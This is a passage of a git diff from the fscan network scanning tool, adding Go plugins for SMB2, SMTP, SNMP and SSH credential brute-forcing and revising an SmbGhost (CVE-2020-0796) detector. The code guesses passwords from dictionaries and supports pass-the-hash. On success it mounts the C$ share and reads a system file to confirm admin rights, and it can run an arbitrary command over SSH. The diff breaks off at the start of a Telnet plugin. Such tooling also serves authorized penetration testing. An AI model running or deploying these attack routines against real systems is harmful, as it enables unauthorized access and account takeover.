func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{}, 1)
|
||||
result := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := SmblConn(info, user, pass, signal)
|
||||
select {
|
||||
case result <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
select {
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
default:
|
||||
return false, fmt.Errorf("连接超时")
|
||||
}
|
||||
}
|
||||
}
|
304
Plugins/SMB2.go
Normal file
304
Plugins/SMB2.go
Normal file
@ -0,0 +1,304 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
|
||||
func SmbScan2(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 使用哈希认证模式
|
||||
if len(Common.HashBytes) > 0 {
|
||||
return smbHashScan(info)
|
||||
}
|
||||
|
||||
// 使用密码认证模式
|
||||
return smbPasswordScan(info)
|
||||
}
|
||||
|
||||
func smbPasswordScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasprint := false
|
||||
|
||||
// 遍历每个用户
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
accountLocked := false // 添加账户锁定标志
|
||||
|
||||
// 遍历该用户的所有密码
|
||||
for _, pass := range Common.Passwords {
|
||||
if accountLocked { // 如果账户被锁定,跳过剩余密码
|
||||
break
|
||||
}
|
||||
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
|
||||
|
||||
if printed {
|
||||
hasprint = true
|
||||
}
|
||||
|
||||
if success {
|
||||
logSuccessfulAuth(info, user, pass, []byte{})
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
logFailedAuth(info, user, pass, []byte{}, err)
|
||||
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "account has been automatically locked") ||
|
||||
strings.Contains(err.Error(), "account has been locked") {
|
||||
accountLocked = true // 设置锁定标志
|
||||
break
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+2))
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func smbHashScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasprint := false
|
||||
|
||||
// 遍历每个用户
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 遍历该用户的所有hash
|
||||
for _, hash := range Common.HashBytes {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
|
||||
|
||||
if printed {
|
||||
hasprint = true
|
||||
}
|
||||
|
||||
if success {
|
||||
logSuccessfulAuth(info, user, "", hash)
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
logFailedAuth(info, user, "", hash, err)
|
||||
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "user account has been automatically locked") {
|
||||
// 账户锁定,跳过该用户的剩余hash
|
||||
break
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+1))
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSuccessfulAuth 记录成功的认证
|
||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
credential := pass
|
||||
if len(hash) > 0 {
|
||||
credential = Common.HashValue
|
||||
}
|
||||
|
||||
// 保存认证成功结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "success",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": user,
|
||||
"domain": Common.Domain,
|
||||
"type": "weak-auth",
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if Common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
Common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// logFailedAuth 记录失败的认证
|
||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||
var errlog string
|
||||
if len(hash) > 0 {
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
|
||||
info.Host, info.Ports, user, Common.HashValue, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
}
|
||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
|
||||
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
|
||||
time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("连接失败: %v", err), false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 配置NTLM认证
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: Common.Domain,
|
||||
}
|
||||
|
||||
// 设置认证方式(哈希或密码)
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
} else {
|
||||
initiator.Password = pass
|
||||
}
|
||||
|
||||
// 创建SMB2会话
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
session, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
|
||||
}
|
||||
defer session.Logoff()
|
||||
|
||||
// 获取共享列表
|
||||
shares, err := session.ListSharenames()
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("获取共享列表失败: %v", err), false
|
||||
}
|
||||
|
||||
// 打印共享信息(如果未打印过)
|
||||
if !hasprint {
|
||||
logShareInfo(info, user, pass, hash, shares)
|
||||
flag2 = true
|
||||
}
|
||||
|
||||
// 尝试访问C$共享以验证管理员权限
|
||||
fs, err := session.Mount("C$")
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
|
||||
}
|
||||
defer fs.Umount()
|
||||
|
||||
// 尝试读取系统文件以验证权限
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
return true, nil, flag2
|
||||
}
|
||||
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||
credential := pass
|
||||
if len(hash) > 0 {
|
||||
credential = Common.HashValue
|
||||
}
|
||||
|
||||
// 保存共享信息结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "shares-found",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": user,
|
||||
"domain": Common.Domain,
|
||||
"shares": shares,
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if Common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
msg += fmt.Sprintf(" 共享:%v", shares)
|
||||
Common.LogInfo(msg)
|
||||
}
|
179
Plugins/SMTP.go
Normal file
179
Plugins/SMTP.go
Normal file
@ -0,0 +1,179 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"net/smtp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SmtpScan 执行 SMTP 服务扫描
|
||||
func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 先测试匿名访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
flag, err := SmtpConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
msg := fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存匿名访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smtp",
|
||||
"type": "anonymous-access",
|
||||
"anonymous": true,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return err
|
||||
}
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("smtp %s anonymous %v", target, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["smtp"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["smtp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := SmtpConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
msg := fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存成功爆破结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smtp",
|
||||
"type": "weak-password",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("SMTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// SmtpConn 尝试 SMTP 连接
|
||||
func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
client, err := smtp.NewClient(conn, host)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
if user != "" {
|
||||
auth := smtp.PlainAuth("", user, pass, host)
|
||||
err = client.Auth(auth)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
err = client.Mail("test@test.com")
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
144
Plugins/SNMP.go
Normal file
144
Plugins/SNMP.go
Normal file
@ -0,0 +1,144 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/gosnmp/gosnmp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SNMPScan 执行SNMP服务扫描
|
||||
func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
portNum, _ := strconv.Atoi(info.Ports)
|
||||
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
|
||||
|
||||
tried := 0
|
||||
total := len(defaultCommunities)
|
||||
|
||||
for _, community := range defaultCommunities {
|
||||
tried++
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
sysDesc string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(community string) {
|
||||
success, sysDesc, err := SNMPConnect(info, community, portNum)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
sysDesc string
|
||||
err error
|
||||
}{success, sysDesc, err}:
|
||||
default:
|
||||
}
|
||||
}(community)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community)
|
||||
if result.sysDesc != "" {
|
||||
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
|
||||
}
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "snmp",
|
||||
"community": community,
|
||||
"type": "weak-community",
|
||||
"system": result.sysDesc,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
|
||||
target, community, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// SNMPConnect 尝试SNMP连接
|
||||
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
|
||||
host := info.Host
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
snmp := &gosnmp.GoSNMP{
|
||||
Target: host,
|
||||
Port: uint16(portNum),
|
||||
Community: community,
|
||||
Version: gosnmp.Version2c,
|
||||
Timeout: timeout,
|
||||
Retries: 1,
|
||||
}
|
||||
|
||||
err := snmp.Connect()
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer snmp.Conn.Close()
|
||||
|
||||
oids := []string{"1.3.6.1.2.1.1.1.0"}
|
||||
result, err := snmp.Get(oids)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
|
||||
if len(result.Variables) > 0 {
|
||||
var sysDesc string
|
||||
if result.Variables[0].Type != gosnmp.NoSuchObject {
|
||||
sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte)))
|
||||
}
|
||||
return true, sysDesc, nil
|
||||
}
|
||||
|
||||
return false, "", fmt.Errorf("认证失败")
|
||||
}
|
182
Plugins/SSH.go
Normal file
182
Plugins/SSH.go
Normal file
@ -0,0 +1,182 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["ssh"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["ssh"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := SshConn(info, user, pass)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
successMsg := fmt.Sprintf("SSH认证成功 %s User:%v Pass:%v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ssh",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
// 如果使用了密钥认证,添加密钥信息
|
||||
if Common.SshKeyPath != "" {
|
||||
details["auth_type"] = "key"
|
||||
details["key_path"] = Common.SshKeyPath
|
||||
details["password"] = nil
|
||||
}
|
||||
|
||||
// 如果执行了命令,添加命令信息
|
||||
if Common.Command != "" {
|
||||
details["command"] = Common.Command
|
||||
}
|
||||
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
cancel()
|
||||
return nil
|
||||
}
|
||||
case <-ctx.Done():
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
cancel()
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("SSH认证失败 %s User:%v Pass:%v Err:%v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogDebug("检测到SSH密钥路径,停止密码尝试")
|
||||
return err
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
var auth []ssh.AuthMethod
|
||||
if Common.SshKeyPath != "" {
|
||||
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取密钥失败: %v", err)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("解析密钥失败: %v", err)
|
||||
}
|
||||
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
auth = []ssh.AuthMethod{ssh.Password(pass)}
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: auth,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
Timeout: time.Duration(Common.Timeout) * time.Millisecond,
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
// 如果需要执行命令
|
||||
if Common.Command != "" {
|
||||
_, err := session.CombinedOutput(Common.Command)
|
||||
if err != nil {
|
||||
return true, err
|
||||
}
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
@ -5,7 +5,7 @@ import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
)
|
||||
|
||||
const (
|
||||
@ -94,35 +94,68 @@ const (
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
||||
func SmbGhost(info *Common.HostInfo) error {
|
||||
// 如果开启了暴力破解模式,跳过该检测
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行实际的SMB Ghost漏洞扫描
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
|
||||
func SmbGhostScan(info *Common.HostInfo) error {
|
||||
// 设置扫描参数
|
||||
ip := info.Host
|
||||
port := 445 // SMB服务默认端口
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造目标地址
|
||||
addr := fmt.Sprintf("%s:%v", ip, port)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte(pkt))
|
||||
if err != nil {
|
||||
defer conn.Close() // 确保连接最终被关闭
|
||||
|
||||
// 发送SMB协议探测数据包
|
||||
if _, err = conn.Write([]byte(pkt)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 准备接收响应
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应数据
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return err
|
||||
}
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
// 分析响应数据,检测是否存在漏洞
|
||||
// 检查条件:
|
||||
// 1. 响应包含"Public"字符串
|
||||
// 2. 响应长度大于等于76字节
|
||||
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
|
||||
// 发现漏洞,记录结果
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
670
Plugins/Telnet.go
Normal file
670
Plugins/Telnet.go
Normal file
@ -0,0 +1,670 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"regexp"
|
||||
"strings"
|
